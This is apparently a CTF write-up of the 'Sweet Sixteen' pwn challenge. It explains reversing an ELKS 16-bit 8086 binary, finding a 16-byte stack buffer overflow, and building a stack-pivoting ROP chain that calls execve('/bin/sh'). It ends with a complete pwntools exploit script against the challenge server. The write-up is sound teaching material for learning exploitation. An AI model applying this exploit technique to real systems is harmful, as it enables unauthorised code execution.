Sweet Sixteen (pwn, 2 solves)======
>I'd do anything>>For my sweet sixteen>>I'd do anything>>For that runaway child>>(Billy Idol, Sweet Sixteen, 1986)>>This challenge is a small love letter to binary exploitation. Enjoy it!>>The service is online at sweet16.challs.srdnlen.it:1616
The challenge gave us a file called `sweet16`, which, when run through the `file` command, reported as `Linux-8086 executable, A_EXEC, not stripped`
I've never had seen this type of executable before but a quick Google search for `Linux 8086` returned the following [Wikipedia page](https://en.wikipedia.org/wiki/Embeddable_Linux_Kernel_Subset) and a related [GitHub repository](https://github.com/ghaerr/elks)
### ELKSSo what's this? Well, as the README says, it's a kernel made for really ancient CPUs such as the 8086 lacking "modern" features such as protected mode or virtual memory.
### Figuring out the executable file
I was quickly able to find some info about the executable format [here](https://htmlpreview.github.io/?https://raw.githubusercontent.com/jbruchon/elks/master/Documentation/html/technical/exe_format.html) but it did not match the file format I had.So I went to the implementation of `sys_execve` to figure out how the kernel actually parses the executables.
Here we can see that the header is read in the local variable `mh`:```c...ASYNCIO_REENTRANT struct minix_exec_hdr mh;         /* 32 bytes */
...currentp->t_regs.ds = kernel_ds;retval = filp->f_op->read(inode, filp, (char *) &mh, sizeof(mh));
/* Sanity check it.  */if (retval != (int)sizeof(mh) ||...```
The `minix_exec_hdr` struct is defined in `elks/include/linuxmt/minix.h` as following:```cstruct minix_exec_hdr {    unsigned long	type;    unsigned char	hlen;		// 0x04    unsigned char	reserved1;    unsigned short	version;    unsigned long	tseg;		// 0x08    unsigned long	dseg;		// 0x0c    unsigned long	bseg;		// 0x10    unsigned long	entry;    unsigned short	chmem;    unsigned short	minstack;    unsigned long	syms;};```
By applying this to the file we get the following;
![File Header](https://www.madrhacks.org/writeups/images/srdnlen2023_header.png)
And with this in mind we can load the file in Ghidra as x86 16-bit real mode and set up a memory map:
![Ghidra Memory Map](https://www.madrhacks.org/writeups/images/srdnlen2023_memmap.png)
(forget about the segments 0x0000, 0x1000 and 0x2000, they don't really matter as long as they're different from each other)
Of course while reversing the code we have to keep in mind that this is x86 real mode, so addresses are computed as `segment << 4 + offset` (for example if `cs = 0x160` and `ip = 0x21`, the resulting linear address would be `0x1621`), so if we see really low addresses that's probably why. You can read more at [Segmentation @ OSDev.org](https://wiki.osdev.org/Segmentation)
### Syscalls
Looking a bit at the code, the first thing I looked out for were system calls.Going through the XREFs I realized this was probably the piece of code that called them:
![ELKS Syscall calling routine](https://www.madrhacks.org/writeups/images/srdnlen2023_syscall0.png)
Which actually matches the following snippet (`libc/system/syscall0.inc`) from the `libc` inside the `ELKS` repo```c#ifndef __IA16_CALLCVT_REGPARMCALL#ifdef L_sys01	.global _syscall_0_syscall_0:	int    $0x80
	.global _syscall_test_syscall_test:	test   %ax,%ax	jns    _syscall_ok	neg    %ax	mov    %ax,errno	mov    $-1,%ax
_syscall_ok:	RET_(0)#endif#endif```And this made me realize that this binary is statically linked.
To get the syscall numbers we can look at (`elks/arch/i86/kernel/syscall.dat`),specifically we see that `read = 3, write = 4` and `execve = 11`Assuming these work like normal Linux, we also know their parameters.By looking at `_syscall_1`, `_syscall_2`, ... from `libc` we can also figure out the calling convention which is
|register|parameter     ||-------:|:-------------||ax      |syscall number||bx      |arg1          ||cx      |arg2          ||dx      |arg3          ||di      |arg4          ||si      |arg5          |
Thus, if everything really works like normal Linux, to pwn this binary we should call execve('/bin/sh', NULL, NULL), which would require the following setup: `ax = 0xb, bx = (ptr to /bin/sh), cx = 0, dx = 0`
### The vulnerability
Knowing this we can name some functions and look at the main at `0x25`
![Main function reverse](https://www.madrhacks.org/writeups/images/srdnlen2023_main.png)
As I mentioned earlier, the `puts` calls contain a really small address, but we have to think about it in the context of the `.data` segment, so that address is actually `ds:0x4`, and looking at the 4th byte of that segment we can find the string `Pwn me:` which is what gets printed.
Looking at the `read` call we can see the vulnerability: a 0x38 (56) bytes read on a 0x28 (40) bytes buffer, which leads to a 16-byte stack buffer overflow.
### Actually running the binary
Well we've seen a lot about ELKS and the binary, but we still haven't ran it.The first thing I tried was to run the whole ELKS system through the compiled images in QEMU and this helped me figure out some things about the system. One interesting thing was enabling the `strace` kernel option by modifing the `/bootopts` file. This would print all the syscalls made by the system, including their parameters
![Kernel strace](https://www.madrhacks.org/writeups/images/srdnlen2023_kernel-strace.png)
Well this was really interesting, but then I realized that the remote probably didn't use QEMU (it was lacking all of the usual QEMU startup info). That lead me to the the `elksemu` folder inside the repo, which provided a way to run the binary on my PC without using QEMU (and would probably be easier to host for the organizers than a full-on QEMU). This was "confirmed" (well the author told me I was on the right path when I asked whether it was run on QEMU or something else :P) by a ticket on the CTF Discord.
### ELKSEMU
Well, without going too deep, this is a simple "emulator" for ELKS binaries. It doesn't actually "emulate" them since it just creates 16-bit entries and maps the syscall to linux syscalls. If you're interested I suggest reading `elksemu/elks.c` and [LDT @ OSDev.org](https://wiki.osdev.org/Local_Descriptor_Table)
By compiling it with debug options (`-DDEBUG -g -O0`) we can:
-   debug the binary by debugging the emulator (and have the source code available since it's compiled with -g)-   have access to a kind-of strace saved in `/tmp/ELKS_log`, allowing us to see syscalls and their parameters
### Debugging?Well as I mentioned we can debug the binary by debugging the emulator. For example if we attach during the emulated `read`, we can look at the `$rsi` register to figure out where our ELKS stack is stored. With the help of the source code, we know that both the stack and the binary are stored in a 0x30000 RWX region allocated randomly in the lower 32 bits of the memory space. By doing what I described and cross-referencing it with `/tmp/ELKS_log` I was able to conclude that the `read` buffer is stored at `ss:0x2c3c` and the `.text` starts at `cs:0x0000`
### ExploitationKnowing this, we can write our exploit. I chose to use Return Oriented Programming even though the memory was mapped as RWX since:
-   the LDT descriptors are set properly as read-execute (for cs) and read-write (for ds/ss) so I wasn't really sure the rwx mapping would still hold-   even then, in the 0x30000 mapping the stack and the code addresses are separated by at least 0x20000 bytes, making it impossible to return to stack shellcode without changing the descriptors-   even if they were closer, the LDT entries have their limit field set properly
I came up with an 18-bytes chain, 2 bytes too much for our overflow so I had to stack pivot.The payload is as follows```c    Payload start -> 0x2c3c: b"/bin/sh\x00"    Pivot target  -> 0x2c44: 0x0        // bp = 0                     0x2c46: 0x0        // di = 0                     0x2c48: 0x0        // si = 0    Second stage  -> 0x2c4a: 0x9f       // mov bx, sp; mov dx, [bx + 6]; mov cx, [bx + 4];    (setup params)                      // mov bx, [bx + 2]; int 0x80;                     0x2c4c: 0x0        // pad                     0x2c4e: 0x2c3c     // bx = addr of /bin/sh\x00                     0x2c50: 0x0        // cx = 0                     0x2c52: 0x0        // dx = 0                     0x2c54: 0x0        // pad                     0x2c56: 0x0        // pad                     0x2c58: 0x0        // pad                     0x2c5a: 0x0        // pad                     0x2c5c: 0x0        // pad                     0x2c5e: 0x0        // pad                     0x2c60: 0x0        // pad                     0x2c62: 0x0        // pad                     0x2c64: 0x2c44     // saved bp (our pivot target)    First stage ->   0x2c66: 0x4b6      // pop di, si; ret    (setup ax &      0x2c68: 0xb        // di = sys_execve (11)     pivot)          0x2c6a: 0x0        // si = 0                     0x2c6c: 0x2a9      // xchg ax, di; mov sp, bp; pop bp, di, si; ret;```
This is the python script I used to run the exploit:```python#!/usr/bin/env python3from pwn import *
context.arch = "i386"context.bits = 16
def conn():    if args.LOCAL:        r = process(["./elks/elksemu/elksemu", "sweet16"])    else:        r = remote("sweet16.challs.srdnlen.it", 1616)
    return r
def main():    global r    r = conn()
    """       1000:02a9 97              XCHG       AX,DI       1000:02aa 89 ec           MOV        SP,BP       1000:02ac 5d              POP        BP       1000:02ad 5f              POP        DI       1000:02ae 5e              POP        SI       1000:02af c3              RET    """
    """       1000:009f 89 e3           MOV        BX,SP       1000:00a1 8b 57 06        MOV        DX,word ptr [BX + param_3]       1000:00a4 8b 4f 04        MOV        CX,word ptr [BX + param_2]       1000:00a7 8b 5f 02        MOV        BX,word ptr [BX + param_1]       1000:00aa e9 00 00        JMP        _syscall0 -> (INT 0x80, ...)    """
    #2c3c = stack from read
    rop = b""    rop += p16(0x4b6) # pop di, si; ret    rop += p16(0xb) # sys_execve    rop += p16(0x0) # pad    rop += p16(0x2a9) # xchg ax, di; mov sp, bp; pop bp, di, si; ret;
    rop2 = b""    rop2 += p16(0) # bp    rop2 += p16(0) # di    rop2 += p16(0) # si    rop2 += p16(0x9f) # mov bx, sp; mov dx, [bx + 6]; mov cx, [bx + 4];                      # mov bx, [bx + 2]; int 0x80;    rop2 += p16(0) # pad    rop2 += p16(0x2c3c) # bx to /bin/sh\x00    rop2 += p16(0) # cx    rop2 += p16(0) # dx
    assert len(rop) <= 16 - 2    assert len(rop2) <= 40 - 8     payload = flat({        0: b"/bin/sh\x00",        8: rop2,        40: 0x2c3c + 8, # setup bp for pivot        42: rop    })
    assert len(payload) <= 56
    r.send(payload)    r.interactive()
if __name__ == "__main__":    main()```